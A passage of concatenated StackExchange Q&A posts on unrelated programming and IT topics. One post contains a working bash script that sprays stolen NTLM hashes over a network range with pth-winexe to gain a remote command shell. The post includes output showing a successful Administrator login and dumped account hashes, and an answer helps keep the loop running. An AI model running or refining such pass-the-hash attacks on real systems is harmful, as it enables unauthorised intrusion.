text:
Q: Подключение к базе данных MySQL средствами Java в Red5 Доброе время суток!
Небольшое введение: некоторое время назад открыл старый (рабочий!) проект, скомпилил, залил на Red5 (его как раз обновил до следующей версии).
При перезапуске Red5 выдал сообщение об ошибке - не могу загрузить драйвер com.mysql.jdbc.Driver.
Нашел решение, проблему устранил, через пару дней уже сам раздавал советы (мне тогда это самому помогло).
Решил проект немного переделать, классы по файлам разнести и т.д. Закомментировал работу с БД. Теперь дошел до переделки работы с БД - и ни фига не работает...
Теперь вопрос: почему может выдаваться исключение java.lang.ClassNotFoundException: com.mysql.jdbc.Driver? И как это обойти? Советы типа подключить/указать коннектор не подойдут - все уже сделано, см. ниже.
Пробовал mysql-connector-java-*.jar в разные папки пихать (и в корень диска, и в каталог WEB-INF проекта, и в папку с RED5) - не помогло. Пробовал вместо коннектора добавить в Build Path папку с этим файлом (Add Class Folder в Eclipse которая), пробовал вместе с папкой и коннектор добавлять. Пробовал даже CLASSPATH указать и classpath - не помогает (пользуюсь Eclipse - т.е. CLASSPATH не обязательно вроде как). Пробовал оставить один только CLASSPATH, а из проекта удалить упоминание - ни чего не помогло...
Смотрел - в .classpath проекта все нужные пути указаны.
Правда, читал, что иногда достаточно указать параметр в командной строке --classpath с нужным каталогом - это не пробовал еще, потому как не сообразил - где указывать эти параметры для Red5. Может подскажете?
Причем, если точно также создаю отдельный проект JAVA (не Red5) - там с БД вроде работает (правда запускал отладчиком из IDE). Т.е. все делаю правильно... Саму работу с БД не проверял, но
Class.forName("com.mysql.jdbc.Driver");

и
connInfo.put("characterEncoding","UTF8");
connInfo.put("user", "root");
connInfo.put("password", "root");
cn = DriverManager.getConnection("jdbc:mysql://localhost/db", connInfo);

Исключений не выдает.
Установлено:
mysql-connector-java-*.jar пробовал и 5.1.18, и 5.1.21.
Red5 - 1.0 RC2.
Версия MySQL-клиента: 5.0.51a.
Версия сервера: 5.5.21.
Eclipse Java EE IDE for Web Developers.
Version: Indigo Service Release 1
Build id: 20110916-0149

A: Не имею понятия что за зверь Red5 судя по гуглю это какая-то разновидность веб-сервера заточенного под раздачу медиа контента. Раз так, то к нему применимы все понятия обычного веб-сервера, а именно когда деплоите свой проект на сервер, то надо вообще то еще и экспортировать библиотеки туда же. Судя по всему вы не экспортируете библиотеку JDBC - почитайте мануалы Red5 куда выкладывать экспортированные библиотеки (обычно это web-inf/lib)
Update

*

*CLASSPATH надо смотреть не относительно JVM Eclipse, а относительно JVM сервера Red5, поскольку Class.forName() будет искать для загрузки класс именно в CLASSPATH сервера

*Допускаю вариант, что предпочтительным способом загрузки драйвера JDBC будет загрузка через JNDI DataSource. Обычно это делается в настройках сервера, например для Tomcat есть такая инструкция - подозреваю нечто аналогичное и для вашего Red5 - например так. Это более профессиональный способ загрузки JDBC драйвера в отличие от самопального описываемого в книжках "а ля HelloWorld"


text:
Q: Acrostic Environment I tried to wrote the code of an environment for acrostics, using cenverse and boldfirst, but it doesn't work (probably because cenverse use // and boldfirst not).
\newcommand\dob[1]{\textbf{#1}}
\newenvironment{boldfirst}{\obeylines\everypar{\dob}}{}

\newenvironment{acrostic}[1]
{
    \begin{midpage}

        \def\cenverse#1\\{\settowidth{\versewidth}{#1}\begin{verse}[\versewidth]#1\\}

            \begin{boldfirst}
            }{
            \end{boldfirst}

        \end{verse}

    \end{midpage}

    \newpage
}

The final result must be one acrostic in the centre of every page, with the first letter of every line in bold. Each first letter must be aligned with the upper and the lower letters.
Example of the use:
\documentclass[a4paper,oneside]{book}

\usepackage[utf8]{inputenc}
\usepackage[english]{babel}
\usepackage[T1]{fontenc}

\usepackage{verse}
\usepackage{midpage}
\usepackage{microtype}

\newcommand\dob[1]{\textbf{#1}}
\newenvironment{boldfirst}{\obeylines\everypar{\dob}}{}

\newenvironment{acrostic}[1]
{
    \begin{midpage}

        \def\cenverse#1\\{\settowidth{\versewidth}{#1}\begin{verse}[\versewidth]#1\\}

            \begin{boldfirst}
            }{
            \end{boldfirst}

        \end{verse}

    \end{midpage}

    \newpage
}

\begin{document}

\begin{acrostic}
Elizabeth it is in vain you say
Love not—thou sayest it in so sweet a way:
In vain those words from thee or L.E.L.
Zantippe's talents had enforced so well:
Ah! if that language from thy heart arise,
Breath it less gently forth—and veil thine eyes.
Endymion, recollect, when Luna tried
To cure his love—was cured of all beside—
His follie—pride—and passion—for he died.
\end{acrostic}

\end{document}

A: An easy change in my code for your similar question allows to get the widest line for setting \versewidth (actually, there will be a tiny offset due to the bold first letter, but it's negligible).
\documentclass{article}
\usepackage[T1]{fontenc}
\usepackage{environ,expl3,verse,midpage}

\ExplSyntaxOn
\NewEnviron{boldfirst}{%
  \user_boldfirst:V \BODY
}

\seq_new:N \l__user_lines_seq
\seq_new:N \l__user_aline_seq
\tl_new:N \l__user_firstword_tl
\cs_new_protected:Npn \user_boldfirst:n #1
 {
  \seq_set_split:Nnn \l__user_lines_seq { \\ } { #1 }
  \dim_zero:N \versewidth
  \seq_map_inline:Nn \l__user_lines_seq
   {
    \hbox_set:Nn \l_tmpa_box { ##1 }
    \dim_compare:nT { \box_wd:N \l_tmpa_box > \versewidth }
     { \dim_set:Nn \versewidth { \box_wd:N \l_tmpa_box } }
   }
  \begin{verse}[\versewidth]
  \seq_map_function:NN \l__user_lines_seq \__user_bolden_line:n
  \end{verse}
 }
\cs_generate_variant:Nn \user_boldfirst:n { V }

\cs_new_protected:Npn \__user_bolden_line:n #1
 {
  \seq_set_split:Nnn \l__user_aline_seq {~} { #1 }
  \seq_pop_left:NN \l__user_aline_seq \l__user_firstword_tl
  \__user_print_first:V \l__user_firstword_tl
  \seq_use:Nn \l__user_aline_seq { ~ } \\
 }
\cs_new_protected:Npn \__user_print_first:n #1
 {
  \int_compare:nTF { \tl_count:n { #1 } == 1 }
   {
    \textbf{#1} ~ %
   }
   {
    \__user_bfkern:nnw #1 \q_stop
   }
 }
\cs_generate_variant:Nn \__user_print_first:n { V }

\cs_new_protected:Npn \__user_bfkern:nnw #1 #2 #3 \q_stop
 {
  \hbox_set:Nn \l_tmpa_box { #1 #2 }
  \hbox_set:Nn \l_tmpb_box { #1 \kern0pt #2 }
  \textbf{#1}\kern\dim_eval:n { \box_wd:N \l_tmpa_box - \box_wd:N \l_tmpb_box }
  #2 #3 ~ %
 }

\ExplSyntaxOff

\begin{document}

\begin{midpage}

\begin{boldfirst}
Lorem ipsum dolor sit amet, \\
consectetur adipisci elit, sed eiusmod \\
tempor incidunt ut labore \\
et dolore magna aliqua. Ut enim \\
ad minim veniam, quis nostrud \\
exercitation ullamco laboris nisi ut aliquid \\
ex ea commodi consequat. Quis aute \\
iure reprehenderit in voluptate velit \\
esse cillum dolore eu fugiat nulla pariatur. \\
{\^{E}}xcepteur sint obcaecat cupiditat non proident, \\
sunt in culpa qui officia deserunt \\
mollit anim id est laborum. \\
T{}o show kern \\
To show kern \\
A problem is not here
\end{boldfirst}

\end{midpage}
\end{document}

redpajama_set_name: RedPajamaStackExchange


text: Q: No external mic option I upgrated from ubuntu 18.04 to the latest lts version,when i connect my headphon either via bluetooth or Jack cable the sound is working fine but it uses only the laptops mic. When i checked in pulseaudio it says that the mic is unplugged and in the sound setting the is only internal mic as an option nothing else.


text:
Q: What is the command to list all jobs in Apache Aurora scheduler? I have set up an Apache Aurora cluster and managed to schedule hello world tasks.
What command should I use to list/view the tasks in the cluster?

A: Apache Aurora client
Apache Aurora has a client. Among other things, it can be used to list jobs running on the cluster:
aurora job list cluster[/role[/env[/name]]]
Example
For example to list all jobs scheduled in a cluster with say name

clustertest

this command

aurora job list clustertest

would return the list of jobs:
clustertest/root/test/python-flask-api
clustertest/root/test/rabbitpy
clustertest/root/devel/python-hello-world


text:
Q: Bash - Exit Windows Command Prompt nicely I have a bash script with a foreach loop that will attempt to login to various different user accounts and notify me when it has successfully been able to login. Upon logging in successfully I will get a Windows Command Prompt in return.
This is where my problem starts, because once a successful login occurs instead of exiting the Windows Command Prompt and then carrying on trying to login to other accounts, the commands actually get entered in the Windows Command Prompt and obviously do not work.
My code:
#!/bin/bash

echo "[*] Usage : $0 <hashfile> <ip or iprange>"
hashfile=$1
iprange=$2

echo "[*] Trying to login "

for host in $(nmap -p 139,445 $iprange -oG - | grep [0-9]/open | cut -d ' ' -f2); do
    while IFS=: read -r smbuser f2 f3 f4 rest; do
        smbhash="${f3}:${f4}"
        echo
        echo "[+] DOING $smbuser@$host with HASH: $smbhash"
        pth-winexe -U $smbuser%$smbhash //$host cmd;  #the code that tries to login
    done < "$hashfile"
done

The script output:
    [+] DOING lisa@192.168.1.22 with HASH: c1e4767bca5d1200aad3b435b51404ee:8280f06d9948afe0ea8eee72304de490
    E_md4hash wrapper called.
    HASH PASS: Substituting user supplied NTLM HASH...
    ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE

    [+] DOING mark@192.168.1.22 with HASH: 6ff8898d3889a0edaad3b435b51404ee:6a0426f4d83012b9705d6c103bfb0db9
    E_md4hash wrapper called.
    HASH PASS: Substituting user supplied NTLM HASH...
    ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE

    [+] DOING Administrator@192.168.1.23 with HASH: 7bfd3ee62cbb0eba886450c5d6c50f12:f3acbe7ec27aadbe8deeaa0c651a64af
    E_md4hash wrapper called.
    HASH PASS: Substituting user supplied NTLM HASH...
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    C:\WINNT\system32>alice:1008:7025c6546ad4eaf2944e2df489a880e4:5569fc0d643cda8944c18fb1abbfc3f4:::
    The filename, directory name, or volume label syntax is incorrect.
    The filename, directory name, or volume label syntax is incorrect.

    C:\WINNT\system32>backup:1006:16ac416c2658e00daad3b435b51404ee:938df8b296dd15d0dce8eaa37be593e0:::

    C:\WINNT\system32>david:1009:aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
    The filename, directory name, or volume label syntax is incorrect.
    The filename, directory name, or volume label syntax is incorrect.

    C:\WINNT\system32>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

    C:\WINNT\system32>IUSR_SRV2:1002:f7d96ebcbe5b6be3103ccb00190f6271:09ff503707453d56bb69f40bef542da0:::

    The filename, directory name, or volume label syntax is incorrect.
    The filename, directory name, or volume label syntax is incorrect.

    C:\WINNT\system32>

You can see in the script output shown above that when Administrator@192.168.1.23 with HASH: 7bfd3ee62cbb0eba886450c5d6c50f12:f3acbe7ec27aadbe8deeaa0c651a64af works and provides me with a C:/Windows/system32 prompt the script does not realise this and just continues not realising the commands are being entered in the Windows Command Prompt.
My problem:
When a successful login occurs and I get the Windows Command Prompt (e.g C:\Windows\system32) how do I then exit the Windows Command Prompt I just got and get the bash script to carry on executing the rest of the login attempts.

A: You can probably change your cmd command to cmd /C as this will cause the shell to immediately terminate.
See here: http://ss64.com/nt/cmd.html


text:
Q: Youtube API Quota Limit Exceeding Too Fast (100x) I am currently using the "Search by Keyword" sample at the following link. I am implementing this solution in NET Core (c#), utilising the Youtube API.
The issue I am having is that my used quota allowance, which is 10,000 queries per day, is increasing by 100x each time this code is executed.
I have tried limiting my search to only Videos and not Playlist/Channels using the following code:
searchListRequest.Type = "video";

I am using API authentication, not OAuth. I have restricted the usage of the API key on the developer console also.
I have ensured that the following line is only called once and not inside a loop etc:
// Call the search.list method to retrieve results matching the specified query term.
var searchListResponse = await searchListRequest.ExecuteAsync();

The sample is provided at the following link:
https://developers.google.com/youtube/v3/code_samples/dotnet
Any help or advice would be appreciated.
Thanks

A: As it turns out, each call has a "Quota Cost". So one call does not necessarily equal one of your quota amount.
There is a calculator at the following link:
https://developers.google.com/youtube/v3/determine_quota_cost
Hope this helps someone.


text:
Q: Create a PHP page to refresh the permalink on a custom table I need to access the permalink of every post, I can achieve this task by creating a template page as shown here but it looks like a dirty solution for me.
How can I write a slim PHP which start the Wordpress Engine without having to create a Page inside WordPress?


text:
Q: Freewheel diode / capacitor with this board? With DC motors, it is common to put a freewheel diode and/or a capacitor in order to protect the equipment as the motor can induce current into the system.
I plan to use this board to control a 24V DC motor with a Arduino-like microcontroler. In an example in their documentation, they don't put such protection, so I wanted to know if it's unsafe, or is it that the board already protects the system?
The example in question:

A: The motor driver board is bidirectional: it uses a transistor arrangement called a H-bridge to drive the motor.

The N-type MOSFETs being used as switches in that board inherently contain a "body diode" as a side effect of their construction. That diode is shown as part of the schematic symbol of the transistors. Normally the transistors will take care of the inductive current, but the body diodes will provide a path for the inductive spikes if something goes wrong with the circuitry that controls the transistors.
If you were to add a diode in parallel with the motor that diode would not only be unnecessary, but it would short out the power supply trough the diode when you reverse the motor.

A: summary
You should make sure a 0.1 uF capacitor is connected directly to the motor.
A properly-designed motor driver board handles everything else.
details
The only component the user might need to add when using a (properly-designed) motor driver board is a EMI-supression cap attached directly to the motor. Why is this capacitor hooked up to a 9volt electric motor? ; Why connect capacitors to motor body? ; Capacitors and motors ; Dealing with Motor Noise ; etc.
As jms already mentioned, a properly-designed motor driver board already includes the freewheel diode(s).

"For output voltages above ten volts or so, ordinary silicon diodes
  are commonly used. For lower voltages, Schottky diodes are commonly
  used as the rectifier elements." -- Wikipedia: switched-mode power
  supply.

(Modern "super barrier rectifier" diodes are technically better in many cases).
A properly-designed motor driver board already includes (a) the protection capacitor or other component used to absorb energy from the motor during regenerative breaking, and (b) the capacitor used to supply quick pulses of energy that cannot be supplied through the inductance+resistance of the available battery connection.
Often (a) and (b) are the same capacitor.


text:
Q: $U_1, U_2, ..., U_k$ subspaces of linear space $X$ with same dimensions, prove $X=U_1\oplus V=U_2\oplus V=...=U_k\oplus V$ Prove the following.
Let $U_1, U_2, ..., U_k$ be subspaces of finite-dimensional linear space $X$ such that
$\dim U_1=\dim U_2=\ldots=\dim U_k$
Then there is a subspace $V$ of $X$ for which
$X=U_1\oplus V=U_2\oplus V=\ldots=U_k\oplus V$
I tried the idea to show that, $V$ lies in the intersection of all of the complements of $U_i$, so $V\subset \bigcup_{i=1}^{i=k}U_i^c$, and I think that will work in case this interception is not empty. I am wondering if this is a right way, because I am stuck with proving that it's not empty, so would be thankful for any hint or direction.

A: I assume that you are working in an infinite field K (real numbers for ex) and a finite dimensional space.
You probably know that if $\cup_{i\in I} U_i=X$ then $\exists i$ such that $U_i=X$.
(If the field is finite this holds true if $k$ is less than the cardinality of the field).
So the set $\Gamma=\{G$ subspaces of X such that $U_i\cap G=\{ 0\}$ for all $i\}$ is non empty ($\{0\}$ works).
Let's denote $G\in\Gamma$ of maximal dimensionality.
Now, $r$ being the dimension of the $U_i$, if $r+\dim G<\dim X$ the subspaces $U_i\oplus G$ are strict subspaces of X (ie  $U_i\oplus G\neq X$).
Because of the first paragraph, there exist $x\in X$ such that for all $i$ $x\not\in U_i\oplus G$.
But then $G'=G\oplus K x$ is a direct sum with $\dim G'>\dim G$ and $G'\in\Gamma$ which is in contradiction with the definition of G (max dimensionality).
Then $r+\dim G=\dim X$
You have your result


text:
Q: Scrape data from html tags which recieve text through ajax using scrapy I am trying to scrape details about mobiles listed on 'amazon.in' from this link:here using scrapy.
Here is my code:
from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from scrapy import Selector
from tars.items import ProductNameItem
import re as r

class Namespider(CrawlSpider):
    name = "flash"
    allowed_domains = ["amazon.in"]
    def __init__(self, *args, **kwargs):
        super(Namespider, self).__init__(*args, **kwargs)
        self.start_urls = [kwargs.get('start_url')]

    rules = (
        Rule(LinkExtractor(allow=(), restrict_xpaths=('//a[@id="pagnNextLink"]')), callback="parse_start_url", follow= True),
)

    def parse_start_url(self, response):
        hxs = Selector(response)
        titles = hxs.xpath('//li[@class="s-result-item  celwidget "]')

        items = []
        for i in titles:

            item = ProductNameItem()

            #x-paths:
            name_xpath = "div[1]/div[3]/div[1]/a[1]/h2[1]/text()"
            url_xpath = "div[1]/div[3]/div[1]/a[1]/@href"
            price_xpath = "div[1]/div[5]/div[1]/a[1]/span[1]/text()"
            total_reviews_xpath = "div[1]/div[4]/a[1]/text()"

            #data-extraction:
            item["name"] = ' '.join(i.xpath(name_xpath).extract())
            item["url"] = ' '.join(i.xpath(url_xpath).extract())
            item["price"] = ' '.join(i.xpath(price_xpath).extract())
            item["total_reviews"] = ' '.join(i.xpath(total_reviews_xpath).extract())

            #append all data
            items.append(item)

        return(items)

The code is working fine but i am not getting any data for price and total_reviews fields. I cross checked many times, x-paths are also correct but further i explored that there is something unusual about the 'a' and 'span' tags in those x-paths. The content in these tags is getting loaded using ajax or something like that.
If anyone can just provide some help over how to scrape data from such html tags.

A: Nothing is loaded with ajax calls, your xpath is wrong, the following css selector gets all the reviews:
In [13]: response.css("#container a[href*='#customerReviews']::text").extract()
Out[13]:
[u'9,812',
 u'32',
 u'32',
 u'17,301',
 u'1,408',
 u'99',
 u'9,816',
 u'9,808',
 u'17,298',
 u'91',
 u'91',
 u'8,351',
 u'9,585',
 u'9,808',
 u'10,223',
 u'174',
 u'809',
 u'671',
 u'5,215',
 u'5,215',
 u'1,776',
 u'462',
 u'671',
 u'1,147']

The name, price, link and number of reviews are all inside the divs with the s-item-container class:
In [24]: divs = response.css("div.s-item-container")

In [25]: for d in divs:
            anchor = d.css("a.a-link-normal.s-access-detail-page.a-text-normal")[0]
            name = anchor.xpath("./h2/@data-attribute").extract_first()
            reviews = d.css("a[href*='#customerReviews']::text").extract_first()
            a = d.css("a.a-link-normal.a-text-normal")[0]
            link = a.xpath("@href").extract_first()
            price = d.css("span.a-size-base.a-color-price.s-price.a-text-bold::text").extract_first()
            print(name, price, reviews, link)
   ....:
(u'Moto G Plus, 4th Gen (Black, 32 GB)', u'14,999.00', u'9,813', u'http://www.amazon.in/Moto-Plus-4th-Gen-Black/dp/B01DDP7GZK')
(u'Moto G, 4th Gen (Black, 16GB)', u'12,499.00', u'32', u'http://www.amazon.in/Moto-4th-Gen-Black-16GB/dp/B01DDP7YI4')
(u'Moto G, 4th Gen (White, 16GB)', u'12,499.00', u'32', u'http://www.amazon.in/Moto-4th-Gen-White-16GB/dp/B01DDP7GR8')
(u'Lenovo Vibe K4 Note (Black, 16GB)', u'10,999.00', u'17,301', u'http://www.amazon.in/Lenovo-Vibe-K4-Note-Black/dp/B01A11D2U2')
(u'OnePlus 3 (Graphite, 64GB)', u'27,999.00', u'1,408', u'http://www.amazon.in/OnePlus-3-Graphite-64GB/dp/B01DDP7UQ0')
(u'Lenovo Vibe K5 (Gold, 16GB)', u'6,999.00', u'100', u'http://www.amazon.in/Lenovo-Vibe-K5-Gold-16GB/dp/B01DDP7UYC')
(u'Moto G Plus, 4th Gen (White, 32 GB)', u'14,999.00', u'9,821', u'http://www.amazon.in/Moto-Plus-4th-Gen-White/dp/B01DDP85BY')
(u'Moto G Plus, 4th Gen (Black, 16 GB)', u'13,499.00', u'9,819', u'http://www.amazon.in/Moto-Plus-4th-Gen-Black/dp/B01DDP87N0')
(u'Lenovo Vibe K4 Note (White,16GB)', u'10,999.00', u'17,302', u'http://www.amazon.in/Lenovo-Vibe-K4-Note-White/dp/B01BHUN4S6')
(u'Lenovo Vibe K5 (Silver, 16GB)', u'6,999.00', u'107', u'http://www.amazon.in/Lenovo-Vibe-K5-Silver-16GB/dp/B01DDP7D3A')
(u'Xiaomi Redmi Note 3 (Silver, 32GB)', u'11,999.00', u'1,227', u'http://www.amazon.in/Xiaomi-Redmi-Note-Silver-32GB/dp/B01DK5K8WG')
(u'Lenovo Vibe K5 (Grey, 16GB)', u'6,999.00', u'105', u'http://www.amazon.in/Lenovo-Vibe-K5-Grey-16GB/dp/B01DDP7MFE')
(u'OnePlus X (Onyx, 16GB)', u'14,999.00', u'9,585', u'http://www.amazon.in/OnePlus-E1003-X-Onyx-16GB/dp/B016UPKCGU')
(u'Moto G Plus, 4th Gen (White, 16 GB)', u'13,499.00', u'9,819', u'http://www.amazon.in/Moto-Plus-4th-Gen-White/dp/B01DDP85KU')
(u'Coolpad Note 3 (Black, 16GB)', u'8,499.00', u'10,223', u'http://www.amazon.in/Coolpad-Note-3-Black-16GB/dp/B0158IT7ES')
(u'Intex Aqua Speed HD (White-Champagne, 8GB)', u'4,190.00', u'174', u'http://www.amazon.in/Intex-Aqua-Speed-HD-White-Champagne/dp/B01FD7QTEK')
(u'Asus Zenfone Max ZC550KL-6A068IN (Black, 2GB, 16GB)', u'8,999.00', u'810', u'http://www.amazon.in/Asus-Zenfone-ZC550KL-6A068IN-Black-16GB/dp/B018VKZPG4')
(u'Coolpad Note 3 Plus (Champagne-White)', u'8,999.00', u'670', u'http://www.amazon.in/Coolpad-Note-3-Plus-Champagne-White/dp/B01DDP7V7S')
(u'Redmi 2 (White)', u'5,999.00', u'5,215', u'http://www.amazon.in/Mi-Redmi-2-White/dp/B00VEB055E')
(u'Lenovo Vibe X3 (White, 32GB)', u'19,999.00', u'1,776', u'http://www.amazon.in/Lenovo-Vibe-X3-White-32GB/dp/B01AY3H9QA')
(u'XOLO Era X (Black)', u'10,000.00', u'462', u'http://www.amazon.in/XOLO-ERA-X-Era-Black/dp/B01BWL1A0O')
(u'Coolpad Note 3 Plus (Gold)', u'8,999.00', u'671', u'http://www.amazon.in/Coolpad-Note-3-Plus-Gold/dp/B01DDP7DK8')
(u'HTC Desire 620G (Santroni White)', u'8,699.00', u'1,147', u'http://www.amazon.in/HTC-Desire-620G-Santroni-White/dp/B00R7FPSDU')
(u'Samsung Tizen Z3 (Silver)', u'5,590.00', u'9', u'http://www.amazon.in/Samsung-Tizen-Z3-Silver/dp/B01CXXJ8UY')

Always try to use class names, attributes etc.. to find your content, also if you want to test xpaths do it in a scrapy shell not in your browser.


text:
Q: Node.js post request on http not finishing In node.js I am using the http request module to make this request
var post_req = http.request({
    host: 'api.site1.ciscozeus.io',
    path: '/logs/' + ZUES_TOKEN + '/' + logName + '/',
    port: 80,
    method: 'POST',
    headers: {
        'Content-type' : 'application/x-www-form-urlencoded'
    }
}, function(res) {
    res.on('data', function (chunk) {
        console.log(1);
        cb(chunk);
    });
});
post_req.write(JSON.stringify({
    "logs" : JSON.stringify('[{"test":"value1"}]')
}));
post_req.on('error', function(e) {
    console.error(e);
});
post_req.end();

But I am the problem is it doesn't seem to go into cb(chunk);. Like it doesn't call the end promise function. It doesn't print console.log(1).
The api has a test site with a try it out, and if I try it there, it works. Here is how the logs data looks when I inspect it when it works in that tool:

Does anyone know if I am attaching the logs data incorrectly? I wan't to post the same data.
Thanks

A: post_req.write(JSON.stringify({
    "logs" : JSON.stringify('[{"test":"value1"}]')
}));

in the above part of the code the internal JSON.stringify is incorrect. you should just write 'logs' : [{'test' : 'value1'}]. The outer JSON.stringify will take care of converting entire JSON object to string.


text:
Q: How to increase ViewPager swipeable area I have a ViewPager with two Fragments. The first Fragment is a simple RecyclerView. But the second Fragment contains a full screen Google Maps element.
Fragment 1:

Fragment 2:

The problem is that when you are viewing Fragment 2, it's very hard to go to Fragment 1 by swiping from the left side of the screen to the right because the map will start moving. You really have to touch from the very edge of the left side in order to go to Fragment 1.
How do I extend the swipeable area on the left side of the screen when in Fragment 2?
I've tried adding a left padding to the map which does work but the layout gets ugly since the map starts after the padding.


text:
Q: what is Team Foundation Server in Visual studio 2010? can anyone tell me what's role of TFS in VS2010? Is that Inbuilt in visual studio 2010 or Download it?
my second doubts i want to install TFS in VS2008. what to do?

A: Team Foundation Server is source control, time tracking and CI build system.
It costs money, see this question of MSDN social.

A: It's the Microsoft way to implement Application LifeCycle Management (ALM)
It covers the main areas for Task management, source control, project Health status and so on.
It's a server which connects some microsoft products for an integrated software development management tool.
Also it has some nice features, the installation process and work to maintain it is a pain.
It's manilny based on Sql Server, SharePoint Services, and Reporting Services.
With other tools you would often have to  have multiple different tools form different companys.
One for builds, one for Task Management, one for statistics and so on.
There are some partner programs like Bizspark where you can get it "for free"

A: TFS is an external service of Visual Studio. You can't "install it" in visual studio you have to install it on a server.
TFS have multiple usages,

*

*Source control (like SVN or GIT)

*Tasks manager (you can use it to follow tasks advancement)

*Builds manager (you can use it to automate your builds)

In other words TFS allow you to manage the "life" of your applications
TFS cost money and cannot be freely installed and used.
MSDN


text:
Q: Activate a python venv with a python script Lets assume a I've a dict of venv and the path to the activate.bat files.
    {"env": "C:\\Users\\basic\\Projects\\some\\env\\Scripts\\activate.bat",

    "test": "C:\\Users\\basic\\python_virtual_envs\\Test\\actiavte.bat"}

Now the user is allowed to input the name of the env they want to activate, and I want a function that can activate this venv.
The code that I've so far. (That does not work)
import subprocess

def activate_venv(path: str) -> None:
    subpocess.run(path, shell=True)

paths = {"env": "C:\\Users\\basic\\Projects\\some\\env\\Scripts\\activate.bat",

        "test": "C:\\Users\\basic\\python_virtual_envs\\Test\\activate.bat"}

env_name = input("Enter the name of the venv you want to activate: ")
activate_venv(paths[env_name])

Related questions I've found
Activate a virtualenv with a Python script  The OP is exactly what I'm looking for but none answers makes sense, all the answers are targeted in running a python script using a venv. I'm not looking for, running a python script using a venv, I just want to activate the venv.


text:
Q: Syntax Error, Operator Expected I am trying to query the MS SQL Server database using Prolog.
Prolog Code
lemmas:-
        odbc_query('my_db',
                   'SELECT * ,case
                   when ActualCost<EstimatedCost then 'true'
                   else 'false'
                   end as Value
                   from Work_Order '
                   ).

It gives an error that operator is expected after 'true' .
Note: The Query works in SQL-Server but it doesn't work in Prolog

A: Try:
lemmas:-
        odbc_query('my_db',
                   'SELECT * ,case                             \
                   when ActualCost<EstimatedCost then \'true\' \
                   else \'false\'                              \
                   end as Value                                \
                   from Work_Order '
                   ).

In this manner, a lot of extra spaces are transmitted.  However, practically all programming languages are not (very) sensitive to adding extra spaces at the end of a line. This is still our heritage from punched cards. You only need to know that in those days space was represented by no punched hole at all. So a fresh card was pre-filled with 80 spaces.


text:
Q: Trying to bulk insert csv file with code igniter I am trying to bulk insert a csv file directly from assets/temp/filename, into mysql table users_csv_import.
I am getting mysql syntax error and I cannot find it.
    function bulk_insert_file($filename) {

        $file_location = 'assets/temp/'.$filename;
        $sql = "LOAD DATA INFILE '".$file_location."' INTO TABLE users_csv_import
        TERMINATED BY '\r\n'";

        $this->db->query($sql);
    }

Getting this error:
Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TERMINATED BY ' '' at line 2

LOAD DATA INFILE 'assets/temp/new_users_template24.csv' INTO TABLE users_csv_import TERMINATED BY ' '

Filename: C:\Program Files (x86)\Ampps\www\system\database\DB_driver.php

Line Number: 330

A: You've an error in the query syntax, you mismatched some quotes there. Should be:
$sql = "LOAD DATA INFILE '".$file_location."' INTO TABLE users_csv_import
        FIELDS TERMINATED BY ',' LINES TERMINATED BY '\r\n'";


text:
Q: C# s7net problem with reading string by class from s7-1200 In my first C# project I have class:
    internal class DbVisuStart
{
    //      Start                       6.0 -
    //      Start_Lines                     6.0 -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines0 { get; set; } = "";    //  6.0 -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines1 { get; set; } = "";    //  48.0    -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines2 { get; set; } = "";    //  90.0    -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines3 { get; set; } = "";    //  132.0   -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines4 { get; set; } = "";    //  174.0   -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines5 { get; set; } = "";    //  216.0   -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines6 { get; set; } = "";    //  258.0   -
}

I'm using the [S7.Net] 1 library and in the class.cs file on line 101 I get an exception and I don't know what's wrong with my class.
In VS2022 output data is:

Exception thrown: "System.ArgumentException" at S7.Net.dll
Exception thrown: "System.ArgumentException" in System.Windows.Forms.dll
Unhandled Exception of type "System.ArgumentException" occurred in System.Windows.Forms.dll
Please add S7StringAttribute to the string property

I have problem only with string. Help me please.
EDIT:
This is a fragment of code from class.cs file S7.Net library (Jason-Jelks/s7netplus from github):
            case "String":
                numBytes = Math.Ceiling(numBytes);
                if ((numBytes / 2 - Math.Floor(numBytes / 2.0)) > 0)
                    numBytes++;

                S7StringAttribute? attribute = type.GetCustomAttributes<S7StringAttribute>().SingleOrDefault();

                if (attribute == default(S7StringAttribute))
                    throw new ArgumentException("Please add S7StringAttribute to the string property"); //Line 101

                numBytes += attribute.ReservedLengthInBytes;
                break;

screenshot VS2022 class.cs with breakpoint in line 100

  System.Linq.Enumerable.SingleOrDefault<TSource> (zwrócona)  null    S7.Net.Types.S7StringAttribute
  attribute   null    S7.Net.Types.S7StringAttribute
  type    {Name = "String" FullName = "System.String"}    System.Type {System.RuntimeType}

EDIT2:
Sorry for the wrong link to the library I am using. Now it is correct.
Below is the call path in my program:
        DbVisuStart dbVst = new();

    private void Timer1_Tick(object sender, EventArgs e)
    {
        timer1.Interval = 250;
        lblDateTime.Text = System.DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
        ReadS7(this);//InvUpd(this.Controls);
    }

    private static void ReadS7(FrmMain frm)
    {
        //frm.plc.ReadClass(frm.dbVa, 1, 0); // this is without strings and is ok
        frm.plc.ReadClass(frm.dbVst, 1, 6);
        //frm.plc.ReadClass(frm.dbVAc,1, 718); // this is without strings and is ok
    }

A: The S7StringAttribute is not supported on properties, you can use that only on fields. I assume your problem is that the backing fields for your properties are not decorated with an attribute (because they are autogenerated). And the second thing i see there is you use a class, as far as I remember you shuld use struct for the data representations. So your class should be refactored to this:
internal struct DbVisuStart
{
    //      Start                           6.0 -
    //      Start_Lines                     6.0 -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines0;    //  6.0 -
